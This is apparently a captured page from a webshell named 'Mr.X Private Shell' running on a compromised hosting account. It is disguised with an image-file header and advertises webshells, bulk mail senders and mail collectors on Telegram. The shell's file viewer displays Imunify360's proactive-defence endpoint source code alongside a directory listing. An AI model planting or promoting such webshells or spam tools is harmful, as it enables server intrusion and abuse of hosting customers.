����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
import pwd
import itertools
import logging
import os

from pathlib import Path
from typing import Optional
from struct import pack
from peewee import DoesNotExist, JOIN
from contextlib import suppress

from defence360agent.feature_management.lookup import feature
from defence360agent.feature_management.constants import PROACTIVE, FULL
from defence360agent.model import instance
from defence360agent.rpc_tools import ValidationError
from defence360agent.rpc_tools.lookup import CommonEndpoints, bind
from defence360agent.utils import Scope
from im360.model.proactive import (
    Proactive,
    ProactiveIgnoredPath,
    ProactiveIgnoredRule,
)
from defence360agent.wordpress.site_repository import get_sites_for_user

MAX_WHITELIST_RULES = 32
MAX_FILE_STRING = 4096
API_VER = 3
WHITELIST_FILENAME = "/usr/share/i360-php-opts/rules_whitelist"
IGNORE_ENTRY_PACK_PATTERN = "I{}s{}I".format(
    MAX_FILE_STRING, MAX_WHITELIST_RULES
)

logger = logging.getLogger(__name__)


@feature(PROACTIVE, [FULL])
class ProactiveEndpoints(CommonEndpoints):
    SCOPE = Scope.IM360

    def _make_bytes_from_path_entry(self, path, rules, path_id):
        """
        :param path: some path string like "/some/path"
        :param rules: some array with ints like [1, 2, 3] or []
        :param path_id:
        :return:
        """

        rules += [0] * (MAX_WHITELIST_RULES - len(rules))
        return pack(
            IGNORE_ENTRY_PACK_PATTERN, path_id, path.encode("utf8"), *rules
        )

    def _generate_ignore_list_file(self):
        logger.info("Recreating proactive ignore list file")
        paths = ProactiveIgnoredPath.select(
            ProactiveIgnoredPath, ProactiveIgnoredRule
        ).join(ProactiveIgnoredRule, JOIN.LEFT_OUTER)

        whitelist_file_bytes = b""
        path_number = 1
        for path, rules in itertools.groupby(paths, lambda x: x.path):
            rules = [
                r.proactiveignoredrule.rule_id
                for r in rules
                if getattr(r, "proactiveignoredrule", None)
            ]

            whitelist_file_bytes += self._make_bytes_from_path_entry(
                path, rules, path_number
            )
            path_number += 1

        if whitelist_file_bytes:
            try:
                with open(WHITELIST_FILENAME, "wb") as whitelist_file:
                    whitelist_file.write(pack("I", API_VER))
                    whitelist_file.write(whitelist_file_bytes)
                os.chmod(WHITELIST_FILENAME, 0o644)

                logger.info("Proactive ignore list file successfully updated")
            except FileNotFoundError as e:
                logger.warning(str(e))
        else:
            with suppress(FileNotFoundError):
                os.remove(WHITELIST_FILENAME)
                logger.info("Proactive ignore list file successfully cleaned")

    def _get_uid(self, username):
        if username is None:
            return 0
        else:
            return pwd.getpwnam(username).pw_uid

    def _get_homedir(self, username):
        if username is not None:
            return Path(pwd.getpwnam(username).pw_dir)
        else:
            return None

    @bind("proactive", "list")
    async def proactive_list(self, user=None, **kwargs):
        user_sites = []
        if user and kwargs.get("site_search"):
            user_info = pwd.getpwnam(user)
            user_sites = get_sites_for_user(user_info)
        return Proactive.fetch(
            uid=self._get_uid(user), user_sites=user_sites, **kwargs
        )

    @bind("proactive", "details")
    async def proactive_details(self, id, user=None):
        try:
            return {"items": Proactive.details(id, self._get_uid(user))}
        except DoesNotExist:
            raise ValidationError("Event {} does not exist".format(id))

    @bind("proactive", "ignore", "list")
    async def proactive_ignore_list(self, user=None, **kwargs):
        return ProactiveIgnoredPath.fetch(self._get_homedir(user), **kwargs)

    def _validate_ignore_item(
        self,
        homedir: Optional[Path],
        path: str,
        rule_id: Optional[int] = None,
        rule_name: Optional[str] = None,
    ):
        if rule_id is not None and rule_name is None:
            raise ValidationError(
                "rule_name should be specified if rule_id is specified"
            )

        if homedir is not None:
            # check if user tries to ignore file from his home directory
            # pw = pwd.getpwnam(user)
            if homedir not in Path(path).parents:
                raise ValidationError(
                    "Unable to add {} to ignore: not permitted".format(path)
                )

    def _add_ignore_item(
        self,
        path: str,
        rule_id: Optional[int] = None,
        rule_name: Optional[str] = None,
    ):
        with instance.db.atomic():
            ignored_path, created = ProactiveIgnoredPath.create_or_get(
                path=path
            )
            if (not created) and (ignored_path.rules.count() == 0):
                # path is already ignored for all rules
                return
            if rule_id:
                ProactiveIgnoredRule.create_or_get(
                    path=ignored_path, rule_id=rule_id, rule_name=rule_name
                )
            else:
                # if rule id is not provided, all rules are ignored
                ProactiveIgnoredRule.delete().where(
                    ProactiveIgnoredRule.path == ignored_path
                ).execute()

    @bind("proactive", "ignore", "addmany")
    async def proactive_ignore_addmany(self, items, user=None):
        homedir = self._get_homedir(user)
        for item in items:
            self._validate_ignore_item(homedir, **item)

        for item in items:
            self._add_ignore_item(**item)
        self._generate_ignore_list_file()

    @bind("proactive", "ignore", "add")
    async def proactive_ignore_add(
        self, path, rule_id=None, rule_name=None, user=None
    ):
        self._validate_ignore_item(
            self._get_homedir(user), path, rule_id, rule_name
        )
        self._add_ignore_item(path, rule_id, rule_name)
        self._generate_ignore_list_file()

    @bind("proactive", "ignore", "delete", "path")
    async def proactive_ignore_delete(self, paths, user=None):
        if user is not None:
            homedir = self._get_homedir(user)
            for p in paths:
                if homedir not in Path(p).parents:
                    raise ValidationError(
                        "Unable to delete {}: not permitted".format(p)
                    )

        for p in paths:
            ProactiveIgnoredPath.delete().where(
                ProactiveIgnoredPath.path == p
            ).execute()
        self._generate_ignore_list_file()

    @bind("proactive", "ignore", "delete", "rule")
    async def proactive_ignore_delete_rule(self, path, id, user=None):
        homedir = self._get_homedir(user)
        if (homedir is not None) and (homedir not in Path(path).parents):
            raise ValidationError("Unable do delete rule: not permitted")
        with instance.db.atomic():
            try:
                path_obj = ProactiveIgnoredPath.get(path=path)
            except DoesNotExist:
                raise ValidationError("Path not found")

            num_deleted = (
                ProactiveIgnoredRule.delete()
                .where(
                    ProactiveIgnoredRule.path_id == path_obj.path,
                    ProactiveIgnoredRule.rule_id == id,
                )
                .execute()
            )
            if num_deleted:
                # check if there are still any rules ignored for this path
                num_rules = (
                    ProactiveIgnoredRule.select()
                    .where(ProactiveIgnoredRule.path_id == path_obj.path)
                    .count()
                )

                # if we deleted last rule, path should be also deleted
                if not num_rules:
                    path_obj.delete_instance()

        self._generate_ignore_list_file()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
schema Folder 0755
schema_responses Folder 0755
__init__.py File 0 B 0644
configuration_management.py File 3.12 KB 0644
conflicts.py File 3.21 KB 0644
control_panel.py File 484 B 0644
countries.py File 5.72 KB 0644
csf_imports.py File 2.63 KB 0644
custom_lists.py File 642 B 0644
disabled_rules.py File 7.47 KB 0644
feature.py File 1.9 KB 0644
health.py File 343 B 0644
hosting_panel.py File 2.73 KB 0644
incidents.py File 1.83 KB 0644
kcarectl.py File 824 B 0644
lists.py File 30.66 KB 0644
malware.py File 385 B 0644
middleware.py File 1.32 KB 0644
proactive.py File 7.91 KB 0644
remote_proxy.py File 2.97 KB 0644
resident_socket.py File 1.59 KB 0644
schema.py File 1.05 KB 0644
smart_advice.py File 1.25 KB 0644
smtp_blocking.py File 1.72 KB 0644
unavailable_on_freemium.py File 354 B 0644
uninstall_cleanup.py File 2.42 KB 0644
validate.py File 9.19 KB 0644
whitelist_rbl.py File 409 B 0644
whitelisted_crawlers.py File 1.02 KB 0644
whitelisted_domains.py File 821 B 0644